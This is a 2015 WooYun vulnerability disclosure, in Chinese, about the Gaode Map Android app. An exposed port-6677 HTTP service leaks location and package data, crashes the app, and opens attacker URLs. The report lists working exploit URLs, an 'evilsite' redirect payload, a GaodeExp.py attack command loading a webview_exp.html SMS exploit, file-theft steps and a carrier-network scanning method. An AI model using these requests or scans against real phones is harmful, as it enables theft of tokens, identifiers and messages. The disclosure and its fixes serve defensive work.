当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114241

漏洞标题:高德地图远程获取手机的敏感信息可远程命令执行(可以远程利用非webview)

相关厂商:高德软件

漏洞作者: 小荷才露尖尖角

提交时间:2015-05-15 10:32

修复时间:2015-08-13 15:18

公开时间:2015-08-13 15:18

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-15: 细节已通知厂商并且等待厂商处理中
2015-05-15: 厂商已经确认,细节仅向厂商公开
2015-05-18: 细节向第三方安全合作伙伴开放
2015-07-09: 细节向核心白帽子及相关领域专家公开
2015-07-19: 细节向普通白帽子公开
2015-07-29: 细节向实习白帽子公开
2015-08-13: 细节向公众公开

简要描述:

null

详细说明:

0x01 概述
高德地图是一款装机量极大的地图应用,在各大应用市场的下载量均达到千万级别。但其Android版本(6.5.3-7.2.6)存在一系列远程命令执行漏洞,利用这个漏洞攻击者可以远程获取手机的敏感信息,实现对高德地图的拒绝服务,获取高德地图私有目录下的敏感文件,并远程执行命令。
0x02漏洞描述
以下分析针对官网正式版,版本号7.2.5.2050。
1. 漏洞原理
com.amap.api.service.AMapService中,可以看到高德地图app实现了一个小型的HTTP Server,该Server在tcp的6677端口监听,当请求满足一定条件时可以返回敏感信息,并根据请求消息执行一系列动作。
见run方法

listen.png


设置HTTP响应

response.png


请求满足的条件包括:
(1)Referer为如下网址中的一个

referer.png


(2)使用HTTP GET请求访问6677端口,并且形式为http://ip:6677/command?param1=value1&...&paramn=valuen
command为getpackageinfo、androidamap、geolocation中的其一

command.png


以下分三种情况:
(1)当command为geolocation时,可返回安装高德地图的手机用户地理位置信息;
(2)当command为getpackageinfo时,默认返回高德地图app本身的版本信息。此时若指定参数param1为packagename,即请求http://ip:6677/getpackageinfo?packagename=xxx时(xxx为软件包名)可返回手机上安装的xxx所指定的任意软件包版本信息。值得注意的是,若xxx为android,可返回android系统版本信息;
(3)当command为androidamap时,可以造成远程拒绝服务、甚至可以在高德地图app中远程执行命令,我们着重分析此种情况。
此时需要指定参数param1为action,即请求http://ip:6677/androidamap?action=yyy&param2=value2&...&paramn=valuen时,AMapService将设置一intent对象,其action为com.autonavi.minimap.Intent.Action,extra为{“method”:"androidamap","action","yyy","params","&param2=value2&...&paramn=valuen"},然后将其广播出去。搜索com.autonavi.minimap.Intent.Action,可发现AmapActionBroadcastReceiver对其进行处理。见com.autonavi.map.intent.AmapActionBroadcastReceiver中的onReceive方法

onreceive.png


OnReceive方法取出前面广播intent对象的extra,新建一个intent对象,设置intent uri为androidamap://yyy?sourceApplication=web&param2=value2&...&paramn=valuen,并以隐式intent的形式启动注册这种uri scheme的activiy.
在AnroidManifest文件中可发现,com.autonavi.map.activity.NewMapActivity注册了data secheme为androidamap的Intent Filter,且data host可以为showTraffic、viewMap、indoorMap、myLocation、bus、arroundpoi、route、keywordNavi、viewReGeo、viewPOIDetail、shortUrl、discovery、hotelList、gropbuyList、movieList、groupbuyDetail、navi2SpecialDest、rootmap、openmap、openTrafficRemind、multiPointShow、navi、poi、openFeature。
至此,我们得出这样的结论,可以通过远程访问
http://ip:6677/androidamap?action=yyy&param2=value2&...&paramn=valuen,启动目标ip中的com.autonavi.map.activity.NewMapActivity执行命令,其中yyy为上述data host中的任一。
2. 测试结果
对上述三种情况进行测试,归纳测试结果如下
HTTP GET请求 漏洞类型 漏洞造成的后果
http://ip:6677/geolocation? 敏感信息泄露 远程获取经纬度
http://ip:6677/getpackageinfo?packagename=xxx,其中xxx为软件包名 敏感信息泄露 远程获取xxx所指定的任意安装包信息
http://ip:6677/androidamap?action=showTraffice 远程命令执行 打开实时路况
http://ip:6677/androidamap?action=viewMap 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=indoorMap None None
http://ip:6677/androidamap?action=myLocation 远程命令执行 在地图中显示所处的位置
http://ip:6677/androidamap?action=viewMap 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=bus 远程命令执行 打开公交搜索框
http://ip:6677/androidamap?action=arroundpoi 远程命令执行 执行搜索
http://ip:6677/androidamap?action=route 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=keywordNavi None None
http://ip:6677/androidamap?action=viewReGeo None None
http://ip:6677/androidamap?action=viewPOIDetail None None
http://ip:6677/androidamap?action=shortUrl None 提示当前版本不支持
http://ip:6677/androidamap?action=discovery None 提示当前版本不支持
http://ip:6677/androidamap?action=hotelList None 提示“当前版本不支持”
http://ip:6677/androidamap?action=groupbuyList None 提示“当前版本不支持”
http://ip:6677/androidamap?action=navi2SpecialDest 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=rootmap None None
http://ip:6677/androidamap?action=openmap 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=openTrafficRemind None 提示当前版本不支持
http://ip:6677/androidamap?action=multiPointShow None 提示选择地图上的点
http://ip:6677/androidamap?action=navi None 打开在线导航
http://ip:6677/androidamap?action=nonexist 远程拒绝服务 app崩溃
注意上面最后一行,当action为以不存在的data host时,抛出空指针异常,导致远程拒绝服务,使高德地图app停止运行。另外,有些aciton也导致远程拒绝服务,我们推测主要是action后面缺少param参数,导致没有取到需要的intent extra,抛出空指针异常所致。
3. 当action为openFeature
严格来说,上面测试中的远程命令执行不算漏洞,因为没有对安全带来影响。下面我们单独讨论当远程HTTP GET请求访问http://ip:6677/androidamap?action=openFeature的情况,这种情况对安全影响最大,是真正的远程命令执行漏洞。
在com.autonavi.map.life.movie.view.MovieDetailHeaderView中,有以下代码

Uri v0_2 = Uri.parse("androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url="
+ this.a.m.privilegeLink);
Intent v1 = new Intent(MovieDetailHeaderView.c(this.a).getApplicationContext(),
NewMapActivity.class);
v1.setData(v0_2);
v1.setFlags(268435456);
MovieDetailHeaderView.c(this.a).startActivity(v1);


这表明可以通过远程HTTP GET请求如下地址

http://ip:6677/androidamap?action=openFeature&featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=evilsite

使安装高德地图app的手机访问攻击者所操纵的链接evilsite,进一步的测试表明,这里存在WebView的漏洞,可以利用实现:
1. 窃取私有目录下的敏感文件:远程攻击者或者本地恶意app可以令WebView加载file://域的恶意脚本文件,按照恶意脚本的请求,窃取高德地图app私有目录下的敏感文件,包括手机IMEI、IMSI、MAC地址,登录token,突破android linux进程的访问控制;
2. WebView远程命令执行:存在可被网页中js操纵的接口jsinterface。由于高德地图针对的SDK版本较低(android:minSdkVersion="8"),在Android 4.4.2以下的手机,均可使用该接口,注入高德地图app进程执行命令。

漏洞证明:

0x03 漏洞证明
1. 远程获取敏感信息
获取地理位置:

getlocation.png


2. 远程获取安装的android系统信息与软件包信息:
获取android版本信息:

getandroidinfo.png


3.远程拒绝服务

dos.png


效果

dos-result.png


4.远程命令执行
操纵url访问任意网页:

visitany.png


效果

visitany-result.png


(1)配合本地恶意脚本,窃取私有目录下的敏感文件
位于/sdcard的本地恶意脚本attack.html

steal.png


远程操纵使其加载该恶意脚本(本地恶意app也可通过127.0.0.1操纵)

loadevil.png


成功获得高德地图app私有目录下的敏感文件,包含已登录淘宝账号的token

loadevil-result.png


如法炮制,同样可以窃取手机/data/data/com.autonavi.minimap/shared_prefs/私有目录下的其他文件
* Alvin2.xml包含手机IMEI明文;
* umeng_message_state.xml包含umeng app key和secret等信息;
* CookiePrefsFile.xml包含cookie session id信息;
* AppStore.xml包含mac地址、IMSI明文。
(2)Webviwe远程命令执行(影响4.4.2以下版本)
使用安装高德地图的4.3版android手机测试,发现高德地图app内置webview存在webview漏洞。
android版本

4.3.png


检测到webview漏洞,发现jsInterface接口可供利用

webview.png


在192.168.3.165搭建恶意webserver。

python -m SimpleHTTPServer


由于高德地图具有发送短信的权限,写一个利用jsInterface发送短信的exp
webview_exp.html

smsexp-1.png


利用如下命令攻击安装高德地图的目标手机192.168.3.180

python GaodeExp.py -c androidamap -p openFeature -u http://192.168.3.165:8000/webview_exp.html 192.168.3.180 6677


目标手机界面

test.png


攻击者手机收到目标机短信,可据此获知受害者的手机号。

sms-received-1.png


由于利用前面的漏洞(getpackageinfo)可以获取手机安装包和系统信息,利用jsInterface接口,还可以通过恶意网页针对性地写入root提权代码或植入木马并执行,造成更大的危害(各种通过Webview植入木马的EXP已经不少了吧,drozer就有现成的payload)。
0x04漏洞影响
该漏洞不仅可被恶意app本地利用,也可被远程利用。对于远程利用,显而易见,一种受漏洞影响的攻击利用场景是在公共WIFI网络,攻击者可以在公共WIFI网络的内网批量扫描打开高德地图的手机进行攻击。
但另外还有一种隐蔽的攻击场景是在3G/4G内网,国内移动分组网GGSN下面挂接的大量用户终端事实上可以互访,因此同样可以进行批量扫描。我们按照如下步骤在联通3G/4G内网进行了测试
(1)手机使用3G/4G上网,并打开WIFI热点共享.
(2)使用netstat查看移动分组网为手机分配的内网地址。
(3)PC使用手机共享的WIFI上网,在该内网地址C段进行扫描存在漏洞的手机,并获取受漏洞影响的高德地图版本信息。
我们扫描了两个C段,发现了4个打开高德地图的手机可以进行漏洞利用,并得知漏洞影响版本至少包括6.5.3,7.2.5.2050,7.2.6.1041beta。扫描结果vul.text

{"package":"com.autonavi.minimap","error_code":0,"error":"","version_code":525,"version":"7.2.5.2050"}
{"package":"com.autonavi.minimap","error_code":0,"error":"","version_code":525,"version":"7.2.5.2050"}
{"package":"com.autonavi.minimap","error_code":0,"error":"","version_code":453,"version":"6.5.3"}
{"package":"com.autonavi.minimap","error_code":0,"error":"","version_code":525,"version":"7.2.5.2050"}
{"package":"com.autonavi.minimap","error_code":0,"error":"","version_code":525,"version":"7.2.6.1041 Beta"}


由于在3G/4G网络下打开高德地图是比较常见的情形,而且相对于公共WIFI,用户感觉更加安全,因此可以更加隐蔽地利用该漏洞发起攻击,带来的危害更大。
另外我们注意到该漏洞出现在com.amap.api.service.AMapService中,因此可能影响到使用高德地图API的其他应用,限于时间关系,我们暂未进行测试。

修复方案:

1.在Android系统中,建议采用Binder跨进程通信,而非socket。如果短期内难以更改,建议只在127.0.0.1地址监听,并采用比referer检查更强的认证方式。
2.针对
androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=这种
Intent,禁止用户传入url
3.更新Android target SDK版本.
4.排查使用高德地图API的其他应用

版权声明:转载请注明来源 小荷才露尖尖角@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-05-15 15:16

厂商回复:

该漏洞之前已有白帽子上报到ASRC,业务方正在修复中,感谢支持阿里安全工作。

最新状态:

暂无